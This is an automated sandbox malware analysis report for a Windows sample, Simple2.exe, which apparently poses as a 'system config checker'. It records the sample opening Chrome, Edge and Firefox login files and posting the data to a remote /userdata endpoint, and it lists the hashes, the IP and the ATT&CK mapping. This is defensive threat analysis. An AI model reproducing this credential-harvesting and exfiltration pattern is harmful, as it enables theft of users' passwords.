Edit tour

Windows Analysis Report
Simple2.exe

Overview

General Information

Sample name:	Simple2.exe
Analysis ID:	1569894
MD5:	ed207427a25863f5524d616525943dd5
SHA1:	6b7aa5224f76b8e09d3a8eefdb299e16b37c887f
SHA256:	418b88c4cd03e7da38287324094b5af3843835d63e06fd44c0fb06903d7575b6
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Contains functionality to steal Chrome passwords or cookies

Tries to harvest and steal browser information (history, passwords, etc)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to enumerate network shares

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Detected potential crypto function

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries information about the installed CPU (vendor, model number etc)

Classification

Process Tree

System is w10x64

Simple2.exe (PID: 4600 cmdline: "C:\Users\user\Desktop\Simple2.exe" MD5: ED207427A25863F5524D616525943DD5)

conhost.exe (PID: 6544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Simple2.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: Simple2.exe

ReversingLabs: Detection: 54%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.4% probability

Source: Simple2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: eA:\VS Projects\systemConfigChecker\x64\Release\systemConfigChecker.pdb(( source: Simple2.exe
Source:	Binary string: A:\VS Projects\systemConfigChecker\x64\Release\systemConfigChecker.pdb source: Simple2.exe

Source: C:\Users\user\Desktop\Simple2.exe

Code function: 0_2_00007FF6876B3A40 memset,NetUserEnum,NetApiBufferFree,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6876B3A40

Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	TCP traffic detected without corresponding DNS query: 185.237.165.97
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: WinHTTP/1.0Host: api.ipify.org

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: unknown

HTTP traffic detected: POST /userdata HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WebKitFormBoundaryUser-Agent: WinHTTP/1.0Content-Length: 96979Host: 185.237.165.97

Source: Simple2.exe, 00000000.00000002.2204708270.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/
Source: Simple2.exe, 00000000.00000002.2204708270.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/8
Source: Simple2.exe, 00000000.00000002.2204708270.00000265E20F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178452824.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2177140100.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdata
Source: Simple2.exe, 00000000.00000003.2177140100.00000265E20F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2202811260.00000265E20F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178452824.00000265E20F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2204708270.00000265E20F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdataF
Source: Simple2.exe, 00000000.00000002.2204708270.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178452824.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2177140100.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97/userdatall2
Source: Simple2.exe, 00000000.00000002.2204708270.00000265E20C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.237.165.97:80/userdata
Source: Simple2.exe, 00000000.00000002.2204708270.00000265E20A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: Simple2.exe, 00000000.00000002.2204708270.00000265E20C7000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2177140100.00000265E20C7000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2173843168.00000265E20C7000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2170631938.00000265E20C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org:80/

Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6876B4CB0	0_2_00007FF6876B4CB0
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6876B1AC0	0_2_00007FF6876B1AC0
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6876B4570	0_2_00007FF6876B4570
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6876B5540	0_2_00007FF6876B5540
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6876B41F0	0_2_00007FF6876B41F0

Source: classification engine

Classification label: mal68.spyw.winEXE@2/1@1/2

Source: C:\Users\user\Desktop\Simple2.exe

Code function: 0_2_00007FF6876B37A0 GetLogicalDrives,memset,GetDiskFreeSpaceExA,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6876B37A0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03

Source: Simple2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Simple2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Simple2.exe, 00000000.00000003.2178452824.00000265E211A000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178067191.00000265E214B000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178067191.00000265E213B000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2177615969.00000265E2130000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178752302.00000265E2127000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2177140100.00000265E211A000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178891996.00000265E2155000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2177038783.00000265E2124000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Simple2.exe

ReversingLabs: Detection: 54%

Source: unknown	Process created: C:\Users\user\Desktop\Simple2.exe "C:\Users\user\Desktop\Simple2.exe"
Source: C:\Users\user\Desktop\Simple2.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: Simple2.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Simple2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Simple2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Simple2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: eA:\VS Projects\systemConfigChecker\x64\Release\systemConfigChecker.pdb(( source: Simple2.exe
Source:	Binary string: A:\VS Projects\systemConfigChecker\x64\Release\systemConfigChecker.pdb source: Simple2.exe

Source: Simple2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Simple2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Simple2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Simple2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Simple2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Simple2.exe

Code function: GetConsoleWindow,ShowWindow,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,GetSystemInfo,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,GlobalMemoryStatusEx,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,malloc,memset,GetAdaptersInfo,malloc,GetAdaptersInfo,free,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,memset,NetGetJoinInformation,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,GetTimeZoneInformation,memset,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,memset,GetModuleFileNameA,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,

0_2_00007FF6876B5540

Source: C:\Users\user\Desktop\Simple2.exe TID: 7124

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Simple2.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Simple2.exe

Code function: 0_2_00007FF6876B5540 GetConsoleWindow,ShowWindow,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,GetSystemInfo,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,GlobalMemoryStatusEx,memset,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,malloc,memset,GetAdaptersInfo,malloc,GetAdaptersInfo,free,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,memset,NetGetJoinInformation,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,GetTimeZoneInformation,memset,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,memset,GetModuleFileNameA,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,

0_2_00007FF6876B5540

Source: Simple2.exe, 00000000.00000002.2204708270.00000265E20A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp/
Source: Simple2.exe, 00000000.00000002.2204708270.00000265E2107000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2170294637.00000265E2107000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2173548196.00000265E2107000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2202811260.00000265E2107000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178452824.00000265E2107000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2177140100.00000265E2107000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Simple2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Simple2.exe

Code function: 0_2_00007FF6876BBB0C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6876BBB0C

Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6876BBCB0 SetUnhandledExceptionFilter,	0_2_00007FF6876BBCB0
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6876BBB0C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6876BBB0C
Source: C:\Users\user\Desktop\Simple2.exe	Code function: 0_2_00007FF6876BB780 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6876BB780

Source: C:\Users\user\Desktop\Simple2.exe

Code function: GetLocaleInfoA,GetLocaleInfoA,memset,??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ,??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z,??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ,??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6876B3E70

Source: C:\Users\user\Desktop\Simple2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Simple2.exe

Code function: 0_2_00007FF6876BBD1C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6876BBD1C

Source: C:\Users\user\Desktop\Simple2.exe

0_2_00007FF6876B5540

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\user\Desktop\Simple2.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		0_2_00007FF6876B4CB0
Source: C:\Users\user\Desktop\Simple2.exe	Code function: \AppData\Local\Chromium\User Data\Default\Login Data		0_2_00007FF6876B4CB0

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Simple2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Simple2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Network Share Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	1 Credentials In Files	2 System Time Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	25 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Simple2.exe	54%	ReversingLabs	Win64.Trojan.Generic
Simple2.exe	100%	Avira	TR/AVI.Agent.pvpsx

Source	Detection	Scanner	Label
http://185.237.165.97:80/userdata	0%	Avira URL Cloud	safe
http://185.237.165.97/	0%	Avira URL Cloud	safe
http://185.237.165.97/userdata	0%	Avira URL Cloud	safe
http://185.237.165.97/userdatall2	0%	Avira URL Cloud	safe
http://185.237.165.97/8	0%	Avira URL Cloud	safe
http://185.237.165.97/userdataF	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	172.67.74.152	true	false		high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://api.ipify.org/	Simple2.exe, 00000000.00000002.2204708270.00000265E20A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97:80/userdata	Simple2.exe, 00000000.00000002.2204708270.00000265E20C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.org:80/	Simple2.exe, 00000000.00000002.2204708270.00000265E20C7000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2177140100.00000265E20C7000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2173843168.00000265E20C7000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2170631938.00000265E20C7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.237.165.97/	Simple2.exe, 00000000.00000002.2204708270.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdata	Simple2.exe, 00000000.00000002.2204708270.00000265E20F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178452824.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2177140100.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdatall2	Simple2.exe, 00000000.00000002.2204708270.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178452824.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2177140100.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/userdataF	Simple2.exe, 00000000.00000003.2177140100.00000265E20F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2202811260.00000265E20F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000003.2178452824.00000265E20F3000.00000004.00000020.00020000.00000000.sdmp, Simple2.exe, 00000000.00000002.2204708270.00000265E20F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.237.165.97/8	Simple2.exe, 00000000.00000002.2204708270.00000265E20D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.237.165.97	unknown	France		52195	AP-MEDIA-ASPL	false
172.67.74.152	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569894
Start date and time:	2024-12-06 11:09:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Simple2.exe
Detection:	MAL
Classification:	mal68.spyw.winEXE@2/1@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 28 Number of non-executed functions: 21
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 20.198.119.84
